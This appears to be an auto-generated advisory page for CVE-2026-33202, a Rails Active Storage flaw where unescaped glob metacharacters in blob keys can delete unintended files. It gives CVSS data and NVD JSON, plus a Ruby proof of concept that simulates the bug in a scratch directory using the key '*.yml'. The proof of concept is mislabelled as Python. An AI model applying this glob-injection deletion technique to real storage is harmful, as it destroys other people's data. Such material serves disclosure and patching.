Security Vulnerability Report
中文
CVE-2026-33202 CVSS 9.1 CRITICAL

CVE-2026-33202

Published: 2026-03-24 00:16:29
Last Modified: 2026-03-24 17:55:12

Description

Active Storage allows users to attach cloud and local files in Rails applications. Prior to versions 8.1.2.1, 8.0.4.1, and 7.2.3.1, Active Storage's `DiskService#delete_prefixed` passes blob keys directly to `Dir.glob` without escaping glob metacharacters. If a blob key contains attacker-controlled input or custom-generated keys with glob metacharacters, it may be possible to delete unintended files from the storage directory. Versions 8.1.2.1, 8.0.4.1, and 7.2.3.1 contain a patch.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:rubyonrails:rails:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:rubyonrails:rails:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:rubyonrails:rails:*:*:*:*:*:*:*:* - VULNERABLE
Ruby on Rails < 7.2.3.1
Ruby on Rails >= 8.0.0, < 8.0.4.1
Ruby on Rails >= 8.1.0, < 8.1.2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-33202 # This script demonstrates how a malicious blob key containing glob characters # can cause unintended file deletion in vulnerable Active Storage versions. require 'fileutils' # Simulating the vulnerable DiskService#delete_prefixed logic class VulnerableDiskService def initialize(storage_root) @storage_root = storage_root end # Vulnerable method: passes key directly to Dir.glob def delete_prefixed(prefix) pattern = File.join(@storage_root, prefix) puts "[*] Searching for files with pattern: #{pattern}" # Dir.glob expands meta-characters like *, ?, [] Dir.glob(pattern).each do |path| puts "[!] Deleting file: #{path}" File.delete(path) if File.exist?(path) end end end # Setup test environment storage_dir = "./storage_test" FileUtils.mkdir_p(storage_dir) # Create dummy files FileUtils.touch("#{storage_dir}/original_file.txt") FileUtils.touch("#{storage_dir}/important_config.yml") FileUtils.touch("#{storage_dir}/user_data.json") puts "Files before exploit:" Dir.glob("#{storage_dir}/*").each { |f| puts "- #{File.basename(f)}" } # Exploit scenario: # An attacker uploads a file or manipulates the blob key to contain a wildcard (e*) # or simply triggers delete with a prefix that expands to everything. # Here we simulate a blob key like "important*" or just "*" if the key is fully controlled. service = VulnerableDiskService.new(storage_dir) # Triggering the delete with a malicious prefix/key # In a real scenario, this key comes from the database (blob.key) malicious_key = "*.yml" # Targeting config files puts "\n[!] Triggering exploit with key: #{malicious_key}" service.delete_prefixed(malicious_key) puts "\nFiles after exploit:" Dir.glob("#{storage_dir}/*").each { |f| puts "- #{File.basename(f)}" } # Cleanup FileUtils.rm_rf(storage_dir)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33202", "sourceIdentifier": "[email protected]", "published": "2026-03-24T00:16:29.157", "lastModified": "2026-03-24T17:55:12.260", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Active Storage allows users to attach cloud and local files in Rails applications. Prior to versions 8.1.2.1, 8.0.4.1, and 7.2.3.1, Active Storage's `DiskService#delete_prefixed` passes blob keys directly to `Dir.glob` without escaping glob metacharacters. If a blob key contains attacker-controlled input or custom-generated keys with glob metacharacters, it may be possible to delete unintended files from the storage directory. Versions 8.1.2.1, 8.0.4.1, and 7.2.3.1 contain a patch."}, {"lang": "es", "value": "Active Storage permite a los usuarios adjuntar archivos locales y en la nube en aplicaciones Rails. Antes de las versiones 8.1.2.1, 8.0.4.1 y 7.2.3.1, el 'DiskService#delete_prefixed' de Active Storage pasa las claves de blob directamente a 'Dir.glob' sin escapar los metacaracteres glob. Si una clave de blob contiene entrada controlada por el atacante o claves generadas a medida con metacaracteres glob, puede ser posible eliminar archivos no deseados del directorio de almacenamiento. Las versiones 8.1.2.1, 8.0.4.1 y 7.2.3.1 contienen un parche."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rubyonrails:rails:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.2.3.1", "matchCriteriaId": "D9DC6CB9-DC6C-4CBB-9806-3936ADBC8F1B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rubyonrails:rails:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.4.1", "matchCriteriaId": "FA8791E1-8B96-43F6-A3EC-A7E60D700330"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rubyonrails:rails:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.1.0", "versionEndExcluding": "8.1.2.1", "matchCriteriaId": "978E0135-D14B-41DE-87E4-CF059A23E189"}]}]}], "references": [{"url": "https://github.com/rails/rails/commit/8c9676b803820110548cdb7523800db43bc6874c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/rails/rails/commit/955284d26e469a9c026a4eee5b21f0414ab0bccf", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/rails/rails/commit/fa19073546360856e9f4dab221fc2c5d73a45e82", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/rails/rails/releases/tag/v7.2.3.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/rails/rails/releases/tag/v8.0.4.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/rails/rails/releases/tag/v8.1.2.1", "source": ... (truncated)